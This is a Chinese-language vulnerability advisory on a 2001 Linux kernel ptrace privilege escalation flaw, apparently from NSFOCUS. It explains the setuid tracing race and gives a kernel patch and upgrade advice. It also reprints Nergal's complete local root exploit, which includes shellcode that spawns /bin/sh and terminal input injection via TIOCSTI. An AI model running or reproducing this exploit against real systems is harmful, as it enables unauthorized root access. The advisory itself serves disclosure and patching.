首页 -> 安全研究

安全研究

安全漏洞
Linux kernel ptrace提升权限漏洞

发布日期:2001-10-18
更新日期:2001-10-19

受影响系统:

Linux kernel 2.2.x, x<=19
Linux kernel 2.4.y, y<=9
不受影响系统:

Linux kernel 2.0.x
Linux kernel 2.4.12
描述:

Linux kernel的某些版本在处理ptrace时存在一些实现上的漏洞。本地用户可能非法提升
权限,比如获取root权限。

问题在于当一个进程被ptrace跟踪后,如果它再启动某个setuid程序时,系统仍然认为它
是一个被跟踪的进程。这可能导致普通用户的进程可以修改特权进程的执行流程,从而
提升权限。

当以下列流程执行时(进程1和进程2开始都是非特权进程)
    
Time    Process 1                    Process 2
0     ptrace(PTRACE_ATTACH, pid of Process 2,...)
1    execve /usr/bin/newgrp
2                                 execve /any/thing/suid
3    execve default user shell  
4     execve ./insert_shellcode

在执行到第2步的时候,进程2仍然被跟踪的时候执行任意suid程序后,系统没有考虑setuid
位。因此进程1就可以控制进程2的流程。

<*来源:Rafal Wojtczuk (nergal@7bulls.com)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html
*>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Rafal Wojtczuk (nergal@7bulls.com)提供了如下测试代码:

*** insert_shellcode.c ***
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
    long ebx, ecx, edx, esi, edi, ebp, eax;
    unsigned short ds, __ds, es, __es;
    unsigned short fs, __fs, gs, __gs;
    long orig_eax, eip;
    unsigned short cs, __cs;
    long eflags, esp;
    unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
    int status;
    int i, wpid, pid = atoi(argv[1]);
    struct user_regs_struct regs;
    if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
        perror("PTRACE_GETREGS");
        exit(0);
    }
    regs.eip = ADDR;
    if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
        exit(0);
    for (i = 0; i <= strlen(hellcode) + 5; i += 4)
        ptrace(PTRACE_POKETEXT, pid, ADDR + i,
            *(unsigned int *) (hellcode + i));
    //  kill (pid, SIGSTOP);
    if (ptrace(PTRACE_DETACH, pid, 0, 0))
        exit(0);
    close(2);
    do {
        wpid = waitpid(-1, &status, 0);
        if (wpid == -1) {
            perror("waitpid");
            exit(1);
        }
    } while (wpid != pid);
}

*** ptrace_exp.c ***
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
    char z;
    if (read(fd, &z, 1) <= 0) {
        perror("read:");
        exit(1);
    }
    execl("/usr/bin/passwd", "passwd", 0);
    perror("execl");
    exit(1);
}
void insert(int pid)
{
    char buf[100];
    char *ptr = buf;
    sprintf(buf, "exec ./insert_shellcode %i\n", pid);
    while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
    int res, fifo;
    int status;
    int pid, n;
    int pipa[2];
    char buf[1024];
    pipe(pipa);
    switch (pid = fork()) {
    case -1:
        perror("fork");
        exit(1);
    case 0:
        close(pipa[1]);
        ex_passwd(pipa[0]);
    default:;
    }


    res = ptrace(PTRACE_ATTACH, pid, 0, 0);
    if (res) {
        perror("attach");
        exit(1);
    }
    res = waitpid(-1, &status, 0);
    if (res == -1) {
        perror("waitpid");
        exit(1);
    }
    res = ptrace(PTRACE_CONT, pid, 0, 0);
    if (res) {
        perror("cont");
        exit(1);
    }
    fprintf(stderr, "attached\n");
    switch (fork()) {
    case -1:
        perror("fork");
        exit(1);
    case 0:
        close(pipa[1]);
        sleep(1);
        insert(pid);
        do {
            n = read(pipa[0], buf, sizeof(buf));
        } while (n > 0);
        if (n < 0)
            perror("read");
        exit(0);
    default:;
    }
    close(pipa[0]);

    dup2(pipa[1], 2);
    close(pipa[1]);
    /* Decrystallizing reason */
    setenv("LD_DEBUG", "libs", 1);
    /* With strength I burn */
    execl("/usr/bin/newgrp", "newgrp", 0);
}


建议:

厂商补丁:

Linux kernel 2.4.12已经解决了这一问题,您可以在厂商主页下载最新升级版本:
http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.12.tar.gz

对于Linux kernel 2.2.19, Rafal Wojtczuk (nergal@7bulls.com)提供
了如下补丁:

diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c    Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c    Tue Oct  9 05:00:50 2001
@@ -552,12 +645,11 @@
}

/*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
  */
static inline int must_not_trace_exec(struct task_struct * p)
{
-    return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+    return (p->flags & PF_PTRACED);
}

/*

您需要重新编译并替换原有内核,重新启动系统。

浏览次数:3843
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障